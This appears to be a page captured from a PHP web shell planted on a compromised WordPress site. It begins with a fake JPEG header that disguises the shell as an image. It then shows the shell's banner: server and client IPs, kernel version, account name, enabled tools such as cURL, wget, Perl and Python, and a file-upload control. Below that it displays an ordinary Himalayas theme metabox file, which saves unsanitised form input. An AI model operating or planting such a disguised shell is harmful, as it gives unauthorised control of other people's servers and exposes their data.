????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/./peepmysite.com/wp-content/themes/himalayas/inc/admin/ |
Upload File : |
<?php /** * This fucntion is responsible for rendering metaboxes in single post area * * @package ThemeGrill * @subpackage Himalayas * @since Himalayas 1.0 */ add_action( 'add_meta_boxes', 'himalayas_add_custom_box' ); /** * Add Meta Boxes. */ function himalayas_add_custom_box() { // Adding layout meta box for Page add_meta_box( 'page-layout', __( 'Select Layout', 'himalayas' ), 'himalayas_layout_call', 'page', 'side', 'default' ); // Adding layout meta box for Post add_meta_box( 'page-layout', __( 'Select Layout', 'himalayas' ), 'himalayas_layout_call', 'post', 'side', 'default' ); //Adding fontawesome icons add_meta_box( 'services-icon', __( 'Icon class', 'himalayas' ), 'himalayas_icon_call', 'page', 'side' ); //Adding designation meta box add_meta_box( 'team-designation', __( 'Our Team Designation', 'himalayas' ), 'himalayas_designation_call', 'page', 'side' ); } /****************************************************************************************/ global $himalayas_page_layout, $himalayas_metabox_field_icons, $himalayas_metabox_field_designation; $himalayas_page_layout = array( 'default-layout' => array( 'id' => 'himalayas_page_layout', 'value' => 'default_layout', 'label' => __( 'Default Layout', 'himalayas' ) ), 'right-sidebar' => array( 'id' => 'himalayas_page_layout', 'value' => 'right_sidebar', 'label' => __( 'Right Sidebar', 'himalayas' ) ), 'left-sidebar' => array( 'id' => 'himalayas_page_layout', 'value' => 'left_sidebar', 'label' => __( 'Left Sidebar', 'himalayas' ) ), 'no-sidebar-full-width' => array( 'id' => 'himalayas_page_layout', 'value' => 'no_sidebar_full_width', 'label' => __( 'No Sidebar Full Width', 'himalayas' ) ), 'no-sidebar-content-centered' => array( 'id' => 'himalayas_page_layout', 'value' => 'no_sidebar_content_centered', 'label' => __( 'No Sidebar Content Centered', 'himalayas' ) ) ); $himalayas_metabox_field_icons = array( array( 'id' => 'himalayas_font_icon', 'label' => __( 'fontawesome Icons', 'himalayas' ) ) ); $himalayas_metabox_field_designation = array( array( 'id' => 'himalayas_designation', 'label' => __( 'team designation', 'himalayas' ) ) ); /****************************************************************************************/ function himalayas_layout_call() { global $himalayas_page_layout; himalayas_meta_form( $himalayas_page_layout ); } function himalayas_icon_call() { global $himalayas_metabox_field_icons; himalayas_meta_form( $himalayas_metabox_field_icons ); } function himalayas_designation_call() { global $himalayas_metabox_field_designation; himalayas_meta_form( $himalayas_metabox_field_designation ); } /** * Displays metabox to for select layout option */ function himalayas_meta_form( $himalayas_metabox_field ) { global $post; // Use nonce for verification wp_nonce_field( basename( __FILE__ ), 'custom_meta_box_nonce' ); foreach ( $himalayas_metabox_field as $field ) { $layout_meta = get_post_meta( $post->ID, $field['id'], true ); switch( $field['id'] ) { // Layout case 'himalayas_page_layout': if( empty( $layout_meta ) ) { $layout_meta = 'default_layout'; } ?> <input class="post-format" type="radio" name="<?php echo $field['id']; ?>" value="<?php echo $field['value']; ?>" <?php checked( $field['value'], $layout_meta ); ?>/> <label class="post-format-icon"><?php echo $field['label']; ?></label><br/> <?php break; // Font icon case 'himalayas_font_icon': _e( 'If featured image is not used than display the icon in Services. </br>', 'himalayas' ); echo '<input type="text" name="'.$field['id'].'" value="'.esc_html($layout_meta).'"/><br>'; $url = 'http://fontawesome.io/icons/'; $link = sprintf( __( '<a href="%s" target="_blank">Refer here</a> for icon class. For example: <strong>fa-mobile</strong>', 'himalayas' ), esc_url( $url ) ); echo $link; break; // Team Designation case 'himalayas_designation': _e( 'Show designation in Our Team Widget. </br>', 'himalayas' ); echo '<input type="text" name="'.$field['id'].'" value="'.esc_html($layout_meta).'"/><br>'; break; } } } /****************************************************************************************/ add_action('save_post', 'himalayas_save_custom_meta'); /** * save the custom metabox data * @hooked to save_post hook */ function himalayas_save_custom_meta( $post_id ) { global $himalayas_page_layout, $himalayas_metabox_field_icons, $himalayas_metabox_field_designation, $post; // Verify the nonce before proceeding. if ( !isset( $_POST[ 'custom_meta_box_nonce' ] ) || !wp_verify_nonce( $_POST[ 'custom_meta_box_nonce' ], basename( __FILE__ ) ) ) return; // Stop WP from clearing custom fields on autosave if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE) return; if ('page' == $_POST['post_type']) { if (!current_user_can( 'edit_page', $post_id ) ) return $post_id; } elseif (!current_user_can( 'edit_post', $post_id ) ) { return $post_id; } foreach ( $himalayas_page_layout as $field ) { //Execute this saving function $old = get_post_meta( $post_id, $field['id'], true); $new = $_POST[$field['id']]; if ($new && $new != $old) { update_post_meta($post_id, $field['id'], $new); } elseif ('' == $new && $old) { delete_post_meta($post_id, $field['id'], $old); } } // end foreach if ('page' == $_POST['post_type']) { // loop through fields and save the data foreach ( $himalayas_metabox_field_icons as $field ) { $old = get_post_meta( $post_id, $field['id'], true ); $new = $_POST[$field['id']]; if ($new && $new != $old) { update_post_meta( $post_id,$field['id'],$new ); } elseif ('' == $new && $old) { delete_post_meta($post_id, $field['id'], $old); } } // end foreach // loop through fields and save the data foreach ( $himalayas_metabox_field_designation as $field ) { $old = get_post_meta( $post_id, $field['id'], true ); $new = $_POST[$field['id']]; if ($new && $new != $old) { update_post_meta( $post_id,$field['id'],$new ); } elseif ('' == $new && $old) { delete_post_meta($post_id, $field['id'], $old); } } // end foreach } }